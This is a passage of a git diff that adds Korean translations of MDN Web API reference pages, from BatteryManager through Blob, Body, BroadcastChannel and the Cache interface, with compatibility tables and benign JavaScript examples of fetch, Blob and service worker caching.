{{event("chargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 시간이 변경될 때 발생합니다.
+
{{domxref("BatteryManager.ondischargingtimechange")}}
+
{{event("dischargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 방전 시간이 변경될 때 발생합니다.
+
{{domxref("BatteryManager.onlevelchange")}}
+
{{event("levelchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 수준 상태가 변경 될 때 발생합니다.
+
+ +

메소드

+ +

Inherited from {{domxref("EventTarget")}}:

+ +

{{domxref("EventTarget")}} 으로 부터 상속을 받습니다:

+ +

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Battery API')}}{{Spec2('Battery API')}}초기 명세
+ +

브라우저 호환성

+ +

{{Compat("api.BatteryManager")}}

+ +

참고

+ + diff --git a/files/ko/web/api/biquadfilternode/index.html b/files/ko/web/api/biquadfilternode/index.html new file mode 100644 index 0000000000..55cd1dfa4d --- /dev/null +++ b/files/ko/web/api/biquadfilternode/index.html @@ -0,0 +1,249 @@ +--- +title: BiquadFilterNode +slug: Web/API/BiquadFilterNode +translation_of: Web/API/BiquadFilterNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

The BiquadFilterNode interface represents a simple low-order filter, and is created using the {{ domxref("AudioContext.createBiquadFilter()") }} method. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, and graphic equalizers. A BiquadFilterNode always has exactly one input and one output.

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"max"
Channel count2 (not used in the default count mode)
Channel interpretation"speakers"
+ +

Constructor

+ +
+
{{domxref("BiquadFilterNode.BiquadFilterNode", "BiquadFilterNode()")}}
+
Creates a new instance of an BiquadFilterNode object.
+
+ +

Properties

+ +

Inherits properties from its parent, {{domxref("AudioNode")}}.

+ +
+
{{domxref("BiquadFilterNode.frequency")}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing a frequency in the current filtering algorithm measured in hertz (Hz).
+
{{domxref("BiquadFilterNode.detune")}}
+
Is an a-rate {{domxref("AudioParam")}} representing detuning of the frequency in cents.
+
{{domxref("BiquadFilterNode.Q")}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing a Q factor, or quality factor.
+
{{domxref("BiquadFilterNode.gain")}} {{readonlyInline}}
+
Is an a-rate {{domxref("AudioParam")}}, a double representing the gain used in the current filtering algorithm.
+
{{domxref("BiquadFilterNode.type")}}
+
Is a string value defining the kind of filtering algorithm the node is implementing.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
The meaning of the different parameters depending of the type of the filter (detune has the same meaning regardless, so isn't listed below)
typeDescriptionfrequencyQgain
lowpass12dB/octave의 롤오프를 가진 표준 2차 공진 로우패스 필터입니다. 컷오프 이하의 주파수는 통과하며 그 이상의 주파수는 감쇠합니다.컷오프 주파수컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.Not used
highpass12dB/octave의 롤오프를 가진 표준 2차 공진 하이패스 필터입니다. 컷오프 이하의 주파수는 감쇠하며 그 이상의 주파수는 통과합니다.컷오프 주파수컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.Not used
bandpass표준 2차 밴드패스 필터입니다. 주어진 주파수 대역 바깥의 주파수는 감쇠되며, 이내의 주파수는 통과합니다.주파수 대역의 중앙주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.Not used
lowshelf표준 2차 로우쉘프 필터입니다. 기준 주파수보다 낮은 주파수는 증폭되거나 감쇠됩니다. 그 이상의 주파수는 변하지 않습니다.증폭이나 감쇠를 얻는 주파수의 상한값Not used적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.
highshelf표준 2차 하이쉘프 필터입니다. 기준 주파수보다 큰 주파수는 증폭되거나 감쇠됩니다. 그 이하의 주파수는 변하지 않습니다.증폭이나 감쇠를 얻는 주파수의 하한값Not used적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.
peaking대역 내의 주파수는 증폭되거나 감쇠됩니다. 바깥의 주파수는 변하지 않습니다.증폭이나 감쇠를 얻는 주파수 대역의 중앙주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.
notch밴드 스톱, 혹은 밴드 리젝션으로 불리는 표준 notch 필터입니다. 이는 밴드패스 필터와 반대입니다. 주어진 대역폭 바깥의 주파수는 통과하며, 안쪽의 주파수는 감쇠합니다.주파수 대역의 중앙주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.Not used
allpass표준 2차 allpass 필터입니다. 이는 모든 주파수를 통과시키지만, 가변 주파수 사이의 위상 관계를 변화시킵니다.최대 group delay를 갖는 주파수, 즉 위상 전이 발생의 중심에 있는 주파수입니다.중간 주파수에서 전환이 얼마나 선명한가를 제어합니다. 이 매개 변수가 클수록 더 선명하고 크게 전환됩니다.Not used
+
+
+ +

Methods

+ +

{{domxref("AudioNode")}} 로부터 메서드를 상속받습니다.

+ +
+
{{domxref("BiquadFilterNode.getFrequencyResponse()")}}
+
이 메서드는 현재 필터 파라미터 설정으로부터 제공된 주파수 배열에 지정된 주파수에 대한 주파수 응답을 계산합니다
+
+ +

Example

+ +

{{page("/en-US/docs/Web/API/AudioContext.createBiquadFilter","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-biquadfilternode-interface', 'BiquadFilterNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}{{CompatOpera(15)}}{{property_prefix("webkit")}}
+ {{CompatOpera(22)}} (unprefixed)
6.0{{property_prefix("webkit")}}
constructor{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(50.0)}}
constructor{{CompatNo}}{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/blob/blob/index.html b/files/ko/web/api/blob/blob/index.html new file mode 100644 index 0000000000..9a82b69399 --- /dev/null +++ b/files/ko/web/api/blob/blob/index.html @@ -0,0 +1,59 @@ +--- +title: Blob() +slug: Web/API/Blob/Blob +tags: + - API + - Blob + - Constructor + - File API + - Reference +translation_of: Web/API/Blob/Blob +--- +
{{APIRef("File API")}}
+ +

Blob() 생성자는 새로운 {{domxref("Blob")}} 객체를 반환합니다. 해당 블롭의 콘텐츠는 매개변수로 제공한 배열을 이어붙인 값입니다.

+ +

Syntax

+ +
var aBlob = new Blob( array[, options]);
+
+ +

매개변수

+ + + +

예제

+ +
var aFileParts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob
+ +

명세서

+ + + + + + + + + + + + + + +
명세서상태비고
{{SpecName('File API', '#constructorBlob', 'Blob()')}}{{Spec2('File API')}}기초정의(Initial definition)
+ +

브라우저 호환성

+ + + +

{{Compat("api.Blob.Blob")}}

diff --git a/files/ko/web/api/blob/index.html b/files/ko/web/api/blob/index.html new file mode 100644 index 0000000000..09afa4aa31 --- /dev/null +++ b/files/ko/web/api/blob/index.html @@ -0,0 +1,151 @@ +--- +title: Blob +slug: Web/API/Blob +tags: + - API + - Blob + - File + - File API + - Interface + - Reference + - 파일 +translation_of: Web/API/Blob +--- +
{{APIRef("File API")}}
+ +

Blob 객체는 파일류의 불변하는 미가공 데이터를 나타냅니다. 텍스트와 이진 데이터의 형태로 읽을 수 있으며, {{domxref("ReadableStream")}}으로 변환한 후 그 메서드를 사용해 데이터를 처리할 수도 있습니다.

+ +

Blob은 JavaScript 네이티브 형태가 아닌 데이터도 표현할 수 있습니다. {{domxref("File")}} 인터페이스는 사용자 시스템의 파일을 지원하기 위해 Blob 인터페이스를 확장한 것이므로, 모든 블롭 기능을 상속합니다.

+ +

Blob 사용하기

+ +

블롭이 아닌 객체와 데이터에서 Blob을 생성하려면 {{domxref("Blob.Blob", "Blob()")}} 생성자를 사용하세요. 다른 블롭의 일부에서 새로운 블롭을 생성할 땐 {{domxref("Blob.slice", "slice()")}} 메서드를 사용할 수 있습니다. 사용자의 파일 시스템 내 파일을 Blob으로 얻는 방법은 {{domxref("File")}} 문서를 참고하세요.

+ +

Blob 객체를 허용하는 API의 목록은 File 문서에도 있습니다.

+ +
+
+ +

생성자

+ +
+
{{domxref("Blob.Blob", "Blob()")}}
+
매개변수로 제공한 배열의 모든 데이터를 합친 데이터를 담은 새로운 Blob 객체를 반환합니다.
+
+ +

속성

+ +
+
{{domxref("Blob.size")}} {{readonlyinline}}
+
Blob 객체가 담은 데이터의 바이트 단위의 사이즈입니다.
+
{{domxref("Blob.type")}} {{readonlyinline}}
+
Blob 객체가 담은 데이터의 MIME 유형을 나타내는 문자열입니다. 유형을 알 수 없는 경우 빈 문자열을 반환합니다.
+
+ +

메서드

+ +
+
{{DOMxRef("Blob.arrayBuffer()")}}
+
Blob의 전체 내용을 이진 데이터로 담은 {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다
+
{{domxref("Blob.slice()")}}
+
메서드를 호출한 블롭의 바이트를 주어진 시작 바이트와 끝 바이트 범위에서 복제해 새로운 Blob 객체를 생성하고 반환합니다.
+
{{domxref("Blob.stream()")}}
+
Blob의 콘텐츠를 읽을 수 있는 {{domxref("ReadableStream")}}을 반환합니다.
+
{{domxref("Blob.text()")}}
+
Blob의 전체 내용을 UTF-8 텍스트로 담은 {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
+ +

예제 

+ +

블롭 생성하기

+ +

{{DOMxRef("Blob.Blob", "Blob()")}} 생성자를 사용해 다른 객체에서 블롭을 생성하세요. 예를 들어, 아래 코드는 문자열에서 블롭을 생성합니다.

+ +
const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});
+ +

형식 배열의 콘텐츠를 나타내는 URL 생성하기

+ +

다음 코드는 JavaScript {{jsxref("TypedArray")}}를 생성한 후, 그 데이터를 담은 Blob 객체도 만듭니다. 그 후, {{domxref("URL.createObjectURL()")}}을 호출해 블롭을 {{glossary("URL")}}로 변환합니다.

+ +

HTML

+ +
<p>This example creates a typed array containing the ASCII codes
+   for the space character through the letter Z, then converts it
+   to an object URL. A link to open that object URL is created.
+   Click the link to see the decoded object URL.</p>
+ +

JavaScript

+ +

이 코드의 주제는 typedArrayToURL() 함수로, 주어진 TypedArray에서 Blob을 생성하고, 블롭의 객체 URL을 반환합니다. 데이터를 객체 URL로 변환한 후에는 {{HTMLElement("img")}} 요소의 {{htmlattrxref("src", "img")}} 특성에 지정하는 등 다양하게 사용할 수 있습니다. (물론 해당 객체가 이미지여야 합니다)

+ +
function typedArrayToURL(typedArray, mimeType) {
+  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i < 59; i++) {
+  bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);
+ +

결과

+ +

{{EmbedLiveSample("형식_배열의_콘텐츠를_나타내는_URL_생성하기", 600, 200)}}

+ +

블롭에서 데이터 추출하기

+ +

블롭에서 데이터를 읽는 방법 하나는 {{domxref("FileReader")}}를 사용하는 것입니다. 다음 코드는 Blob의 콘텐츠를 형식 배열로서 읽어 들입니다.

+ +
const reader = new FileReader();
+reader.addEventListener('loadend', () => {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);
+ +

또 다른 방법은 블롭을 {{domxref("Response")}}로 사용하는 것입니다. 다음 코드는 Blob의 내용을 텍스트로 읽어옵니다.

+ +
var text = await (new Response(blob)).text();
+ +

FileReader의 다른 메서드를 사용하면 블롭의 데이터를 문자열이나 데이터 URL로도 읽어올 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('File API', '#blob-section', 'The Blob interface')}}{{Spec2('File API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Blob")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/body/index.html b/files/ko/web/api/body/index.html new file mode 100644 index 0000000000..6e5cc42061 --- /dev/null +++ b/files/ko/web/api/body/index.html @@ -0,0 +1,97 @@ +--- +title: Body +slug: Web/API/Body +tags: + - API + - BODY + - Experimental + - Fetch + - Fetch API + - Interface + - Reference + - request +translation_of: Web/API/Body +--- +
{{ APIRef("Fetch") }}
+ +

The Body {{glossary("mixin")}} of the Fetch API represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.

+ +

Body is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated body (a stream), a used flag (initially unset), and a MIME type (initially the empty byte sequence).

+ +

Properties

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
A {{domxref("Boolean")}} that indicates whether the body has been read.
+
+ +

Methods

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.
+
{{domxref("Body.blob()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.
+
{{domxref("Body.formData()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.
+
{{domxref("Body.json()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.
+
{{domxref("Body.text()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is always decoded using UTF-8.
+
+ +

Examples

+ +

The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.

+ +

HTML Content

+ +
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
+
+ +

JS Content

+ +
const myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res => res.blob())
+	.then(res => {
+		const objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});
+ +

{{ EmbedLiveSample('Examples', '100%', '250px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#body-mixin','Body')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Body")}}

+ +

See also

+ + + +

 

diff --git a/files/ko/web/api/body/json/index.html b/files/ko/web/api/body/json/index.html new file mode 100644 index 0000000000..761720f420 --- /dev/null +++ b/files/ko/web/api/body/json/index.html @@ -0,0 +1,73 @@ +--- +title: Body.json() +slug: Web/API/Body/json +translation_of: Web/API/Body/json +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Body")}} mixin의 json() 매서드는 {{domxref("Response")}} 스트림을 가져와 스트림이 완료될때까지 읽는다. 이 메서드는 body 텍스트를 {{jsxref("JSON")}}으로 바꾸는 결과로 해결되는 promise를 반환한다.

+ +

구문

+ +
response.json().then(function(data) {
+  // do something with your data
+});
+ +

매개변수

+ +

없음.

+ +

반환값

+ +

A promise that resolves with the result of parsing the body text as JSON. This could be anything that can be represented by JSON — an object, an array, a string, a number...

+ +

Example

+ +

In our fetch json example (run fetch json live), we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch a .json file. When the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.

+ +
var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i < data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>' + data.products[i].Name + '</strong> can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: <strong>£' + data.products[i].Price + '</strong>';
+      myList.appendChild(listItem);
+    }
+  });
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-json','json()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Body.json")}}

+ +

See also

+ + diff --git a/files/ko/web/api/broadcastchannel/index.html b/files/ko/web/api/broadcastchannel/index.html new file mode 100644 index 0000000000..a229e41829 --- /dev/null +++ b/files/ko/web/api/broadcastchannel/index.html @@ -0,0 +1,92 @@ +--- +title: BroadcastChannel +slug: Web/API/BroadcastChannel +tags: + - API + - Broadcast Channel API + - Experimental + - HTML API + - Interface + - Reference +translation_of: Web/API/BroadcastChannel +--- +

{{APIRef("Broadcast Channel API")}}

+ +

The BroadcastChannel interface represents a named channel that any {{glossary("browsing context")}} of a given {{glossary("origin")}} can subscribe to. It allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin. Messages are broadcasted via a {{event("message")}} event fired at all BroadcastChannel objects listening to the channel.

+ +

{{AvailableInWorkers}}

+ +

Constructor

+ +
+
{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}
+
Creates an object linking to the named channel.
+
+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("EventTarget")}}.

+ +
+
{{domxref("BroadcastChannel.name")}}
+
Returns a {{domxref("DOMString")}}, the name of the channel.
+
+

Event handlers

+
+
{{domxref("BroadcastChannel.onmessage")}}
+
An {{domxref("EventHandler")}} property that specifies the function to execute when a {{event("message")}} event is fired on this object.
+
{{domxref("BroadcastChannel.onmessageerror")}}
+
An {{domxref("EventHandler")}} called when a {{domxref("MessageEvent")}} of type {{domxref("MessageError")}} is fired—that is, when it receives a message that cannot be deserialized.
+
+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("EventTarget")}}.

+ +
+
{{domxref("BroadcastChannel.postMessage()")}}
+
Sends the message, of any type of object, to each BroadcastChannel object listening to the same channel.
+
{{domxref("BroadcastChannel.close()")}}
+
Closes the channel object, indicating it won't get any new messages, and allowing it to be, eventually, garbage collected.
+
+ +

Events

+ +
+
message
+
Fired when when a message arrives on the channel.
+ Also available via the onmessage property.
+
messageerror
+
Fired when a message arrives that can't be deserialized.
+ Also available via the onmessageerror property.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.BroadcastChannel")}}

+ +

See also

+ + diff --git a/files/ko/web/api/cache/index.html b/files/ko/web/api/cache/index.html new file mode 100644 index 0000000000..6c829f8d8c --- /dev/null +++ b/files/ko/web/api/cache/index.html @@ -0,0 +1,148 @@ +--- +title: Cache +slug: Web/API/Cache +tags: + - API + - Cache + - Draft + - Experimental + - Interface + - Offline + - Reference + - Service Workers + - Storage +translation_of: Web/API/Cache +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

Cache 인터페이스는 {{domxref ( "ServiceWorker")}} 의 생명주기의 일부로 캐시 된 RequestResponse를 나타냅니다.

+ +

도메인은 여러개의 이름이 지정된 Cache 객체를 가질 수 있으며 그 객체들은 {{domxref("ServiceWorker")}}가 완전히 제어합니다.{{domxref("ServiceWorker")}} 스크립트가 Cache 업데이트를 어떻게 컨트롤 할지에 대해서 구현해야 합니다. 명시적으로 요청하지 않으면 Cache 항목들은 업데이트 되지 않습니다. 삭제되지 않으면 만료되지 않습니다. {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} 을 사용하여 특정 이름으로 지정 된 Cache 객체를 로드하고 Cache 메서드를 호출하여 캐시를 유지 관리합니다.

+ +

또한 캐시 항목을 정기적으로 삭제해야 합니다. 각각의 브라우저는 {{domxref("ServiceWorker")}}가 사용할 수 있는 캐시 저장소의 양에 대해서 제한을 엄격하게 두고 있습니다. 브라우저는 디스크 공간을 관리하기 위해서 최선을 다하지만 원본에 대한 캐시 저장소를 삭제할 수 있습니다. 브라우저는 일반적으로 원본에 대한 모든 데이터를 삭제하거나 원본에 대한 모든 데이터를 삭제하지 않을 것입니다. 이름지어진 특정 캐시 버전을 확인하고 안전하게 작동할 수 있는 {{domxref("ServiceWorker")}} 버전에서만 캐시를 사용하십시오. 캐시 삭제에 대한 자세한 내용은 Deleting old caches을 참고하세요.

+ +
+

Note: 초기 캐시 구현(Blink 및 Gecko)은 응답이 완전히 기록될 때 {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, 그리고 {{domxref("Cache.put")}} 로 확인 됩니다. 보다 최근 사양 버전에서의 최신언어들은 응답이 여전히 스트리밍이 되는 경우에도 해당 내용이 데이터베이스에 기록되는 즉시 브라우저가 확인할 수 있습니다.

+
+ +
+

Note: {{domxref("Cache.put")}}, {{domxref("Cache.add")}}, 그리고{{domxref("Cache.addAll")}} 은 오직 GET 요청들만 cache로 저장됩니다.

+
+ +
+

Note: 캐시 API는 HTTP 캐시 헤더를 따르지 않습니다.

+
+ +

메서드

+ +
+
{{domxref("Cache.match", "Cache.match(request, options)")}}
+
{{domxref("Cache")}}객체의 첫 번째 일치하는 요청과 관련된 응답으로 확인되는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}
+
{{domxref("Cache")}} 객체에서 일치하는 모든 요청의 배열로 해석되는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Cache.add", "Cache.add(request)")}}
+
URL을 가져 와서 추출해서 결과 객체를 지정된 캐시에 추가합니다. 이는 fetch()를 호출 한 다음 Cache.put()을 사용하여 캐시에 결과를 추가하는 것과 매우 유사합니다.
+
{{domxref("Cache.addAll", "Cache.addAll(requests)")}}
+
URL 배열을 가져 와서 추출하고 결과 응답 객체를 지정된 캐시에 추가합니다.
+
{{domxref("Cache.put", "Cache.put(request, response)")}}
+
요청과 응답을 모두 가져 와서 지정된 캐시에 추가합니다.
+
{{domxref("Cache.delete", "Cache.delete(request, options)")}}
+
해당 키가 request인 {{domxref("Cache")}}를 찾고 {{domxref("Cache")}}를 삭제하고 true 판정인 {{jsxref("Promise")}}를 리턴합니다. {{domxref("Cache")}} 항목이 없으면 false를 반환합니다.
+
{{domxref("Cache.keys", "Cache.keys(request, options)")}}
+
{{domxref("Cache")}} 키 배열은 결정된 {{jsxref("Promise")}}를 리턴합니다.
+
+ +

예제

+ +

이 코드는 service worker selective caching sample 에서 가져왔습니다. (see selective caching live). 이 코드는{{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}을 사용하여 font/로 시작하는 Content-Type header로 Cache를 엽니다.

+ +

그런 다음 코드는 {{domxref("Cache.match", "Cache.match(request, options)")}}를 사용하여 캐시에 이미 일치하는 글꼴이 있는지 확인한 후 일치하는 글꼴을 반환합니다. 일치하는 글꼴이 없으면 코드는 네트워크에서 글꼴을 가져오고 {{domxref("Cache.put","Cache.put(request, response)")}}을 사용하여 가져온 리소스를 캐시합니다.

+ +

이 코드는 {{domxref("Globalfetch.fetch","fetch()")}} 연산에서 발생한 예외를 처리합니다. HTTP오류 응답(예 : 404)은 예외를 발생시키지 않습니다. 적절한 오류 코드가있는 일반 응답 객체를 리턴합니다.

+ +

또한 코드 스니펫은 {domxref ( "ServiceWorker")}}가 사용하는 캐시 버전 관리를 위한 모범 사례를 보여줍니다. 이 예에서는 캐시가 하나 밖에 없지만 동일한 접근법을 여러 캐시에 사용할 수 있습니다. 캐시의 단축 식별자를 특정 버전의 캐시 이름에 매핑합니다. 또한 이 코드는 CURRENT_CACHES에 이름이 지정되지 않은 모든 캐시를 삭제합니다.

+ +
Note: 크롬에서, chrome://inspect/#service-workers 를 방문하여 "inspect" 를 클릭하여 service-worker.js 스크립트가 수행중인 다양한 작업에 대한 로깅 구문을 확인합니다.
+ +
var CACHE_VERSION = 1;
+
+// Shorthand identifier mapped to specific versioned cache.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Active worker won't be treated as activated until promise resolves successfully.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Opens Cache objects that start with 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log(' Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Handles exceptions that arise from match() or fetch().
+        console.error('  Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Cache")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/cache/put/index.html b/files/ko/web/api/cache/put/index.html new file mode 100644 index 0000000000..9237ee6efe --- /dev/null +++ b/files/ko/web/api/cache/put/index.html @@ -0,0 +1,118 @@ +--- +title: Cache.put() +slug: Web/API/Cache/put +tags: + - API + - Cache + - Experimental + - Method + - Reference + - Service Workers + - ServiceWorker + - put +translation_of: Web/API/Cache/put +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

The put() method of the {{domxref("Cache")}} interface allows key/value pairs to be added to the current {{domxref("Cache")}} object.

+ +

Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.

+ +
fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+
+ +
+

Note: put() will overwrite any key/value pair previously stored in the cache that matches the request.

+
+ +
+

Note: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with Response.status values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.

+
+ +
+

Note: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.

+
+ +

Syntax

+ +
cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+
+ +

Parameters

+ +
+
request
+
The {{domxref("Request")}} you want to add to the cache.
+
response
+
The {{domxref("Response")}} you want to match up to the request.
+
+ +

Return value

+ +

A {{jsxref("Promise")}} that resolves with void.

+ +
+

Note: The promise will reject with a TypeError if the URL scheme is not http or https.

+
+ +

Examples

+ +

This example is from the MDN sw-test example (see sw-test running live). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:

+ +
    +
  1. Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.
  2. +
  3. If not, open the v1 cache using open(), put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using return response.clone(). Clone is needed because put() consumes the response body.
  4. +
  5. If this fails (e.g., because the network is down), return a fallback response.
  6. +
+ +
var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
